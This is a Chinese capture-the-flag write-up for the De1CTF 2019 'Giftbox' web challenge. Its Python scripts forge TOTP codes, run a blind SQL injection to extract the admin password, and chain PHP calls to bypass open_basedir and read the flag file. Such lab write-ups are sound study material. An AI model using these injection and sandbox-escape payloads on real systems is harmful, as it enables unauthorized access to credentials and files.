# [De1CTF 2019]Giftbox
main.js 里给了 TOTP 的参数
# TOTP
TOTP 算法 (Time-based One-time Password algorithm) 是一种从共享密钥和当前时间计算一次性密码的算法。它已被采纳为 Internet 工程任务组标准 RFC 6238,是 Initiative for Open Authentication (OATH) 的基石,并被用于许多双因素身份验证系统。
TOTP 是基于散列的消息认证码(HMAC)的示例。它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以 30 秒的间隔增加,从而减少了潜在的搜索空间。
服务端时间与客户端时间相差大于
15秒
,需要先计算正确的totp
才能调用shell.php
进来就是命令行的形式,可以试一下命令,看 wp 就是 help 查看可用的指令 -----
You can use following commands:
cd
ls
cat
clear
help
exit
ls 一下找到一个 usage.md 文件,cat 一下:
获取到一些可以执行的文件,login 应该是要先登录了,源码没给账号就是 admin 了,密码的话不知道没给提示就是 SQL 注入爆密码了,SQL 盲注一下,这个里面可以 SQL 注入确实没想到
[De1CTF 2019]Giftbox | |
import requests | |
import pyotp | |
from time import sleep | |
import re | |
url = "http://eec68b2e-7abc-4aae-ba15-43e2f4bc23ce.node5.buuoj.cn:81//shell.php" | |
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5) | |
name = "" | |
i = 0 | |
while True: | |
sleep(0.5) | |
head = 32 | |
tail = 127 | |
i += 1 | |
while (head < tail): | |
mid = head + tail >> 1 | |
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % ( | |
i, mid) | |
params = { | |
"a": payload, | |
"totp": totp.now() | |
} | |
r = requests.post(url, params=params) | |
if "password" in r.text: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head != 32: | |
name += chr(head) | |
print(name) | |
else: | |
break |
基本就是绕过 open_basedir 设置:(但是 / 过滤了)chr (47) 代替
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));
payload:
import requests | |
import pyotp | |
from time import sleep | |
import re | |
url = "http://80965cc9-78d4-4bec-83f6-ec550345fe26.node4.buuoj.cn:81/shell.php" | |
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5) | |
name = "" | |
i = 0 | |
while True: | |
sleep(0.5) | |
head = 32 | |
tail = 127 | |
i += 1 | |
while (head < tail): | |
mid = head + tail >> 1 | |
payload = "login admin'/**/and/**/(ascii(substr((select/**/concat(password)/**/from/**/users),%d,1))/**/>/**/%d)and/**/'1 admin" % (i, mid) | |
params = { | |
"a":payload, | |
"totp":totp.now() | |
} | |
r = requests.post(url,params=params) | |
if "password" in r.text: | |
head = mid + 1 | |
else: | |
tail = mid | |
if head != 32: | |
name += chr(head) | |
print(name) | |
else: | |
break | |
session = requests.session() | |
def login(): | |
sleep(0.5) | |
r = session.get(url,params={'a': 'login admin '+ name, 'totp': totp.now()}) | |
def destruct(): | |
sleep(0.5) | |
r = session.get(url, params={'a': 'destruct', 'totp': totp.now()}) | |
def targeting(code, position): | |
sleep(0.5) | |
r = session.get(url, params={'a': 'targeting ' + code + ' ' + position, 'totp': totp.now()}) | |
print("code: " + code + " " + "position: " + position) | |
def launch(): | |
sleep(0.5) | |
r = session.get(url, params={'a': 'launch', 'totp': totp.now()}) | |
return r.text | |
def main(): | |
login() | |
destruct() | |
targeting("a", "chdir") | |
targeting("b", "img") | |
targeting("c", "{$a($b)}") | |
targeting("d", "ini_set") | |
targeting("e", "open_basedir") | |
targeting("f", "..") | |
targeting("g", "{$d($e,$f)}") | |
targeting("h", "{$a($f)}") | |
targeting("i", "{$a($f)}") | |
targeting("j", "chr") | |
targeting("k", "{$j(47)}") | |
targeting("l", "{$d($e,$k)}") | |
targeting("m", "flag") | |
targeting("n", "file_get") | |
targeting("o", "_contents") | |
targeting("p", "$n$o") | |
targeting("q", "{$p($m)}") | |
print(re.search("flag{.*}", launch()).group(0)[:42]) | |
if __name__ == '__main__': | |
main() |
targeting 是赋值命令,launch 命令是为了执行命令,destruct 命令用来断开连接
参考连接:
https://blog.csdn.net/shinygod/article/details/124586542
glzjin